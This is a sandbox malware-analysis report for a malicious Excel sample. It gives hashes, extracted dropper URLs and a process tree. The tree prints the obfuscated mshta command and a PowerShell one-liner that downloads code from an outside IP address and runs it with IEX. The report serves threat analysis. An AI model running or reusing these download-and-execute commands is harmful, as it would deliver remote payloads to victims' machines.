Overview

overview

10

Static

static

8

c006a39b1e...ae.xls

windows7_x64

10

c006a39b1e...ae.xls

windows10-2004_x64

10

Analysis

  • max time kernel
    11s
  • max time network
    19s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220113
  • submitted
    20/01/2022, 23:17

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    c006a39b1e78cdd816862fbc9d3612ae.xls
  • Size 69KB
  • Sample220120-29pykaccf4
  • SHA256 c3782f393e6dca8cbded5a7bbb73789792cd1bf807f4f71cd863b12992beda95
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language

  • hta

Source
URLs
  • hta.dropper

    http://0xb907d607/fer/fe2.html

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://185.7.214.7/fer/fe2.png

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Program crash 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\c006a39b1e78cdd816862fbc9d3612ae.xls"
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3032
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
      2⤵
      • Process spawned unexpected child process
      PID:1972
      • C:\Windows\system32\mshta.exe
        mshta http://0xb907d607/fer/fe2.html
        3⤵
          PID:4056
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe2.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
            4⤵
              PID:2240
            • C:\Windows\system32\WerFault.exe
              C:\Windows\system32\WerFault.exe -u -p 4056 -s 1728
              4⤵
              • Program crash
              PID:3720
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
        1⤵
          PID:4044
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -pss -s 408 -p 4056 -ip 4056
          1⤵
            PID:2688

          Network

                MITRE ATT&CK Matrix

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                memory/3032-130-0x00007FF8A6690000-0x00007FF8A66A0000-memory.dmp
                Download

                memory/3032-131-0x00007FF8A6690000-0x00007FF8A66A0000-memory.dmp
                Download

                memory/3032-132-0x00007FF8A6690000-0x00007FF8A66A0000-memory.dmp
                Download

                memory/3032-133-0x00007FF8A6690000-0x00007FF8A66A0000-memory.dmp
                Download

                memory/3032-134-0x00007FF8A6690000-0x00007FF8A66A0000-memory.dmp
                Download

                memory/3032-137-0x00007FF8A4630000-0x00007FF8A4640000-memory.dmp
                Download

                memory/3032-138-0x00007FF8A4630000-0x00007FF8A4640000-memory.dmp
                Download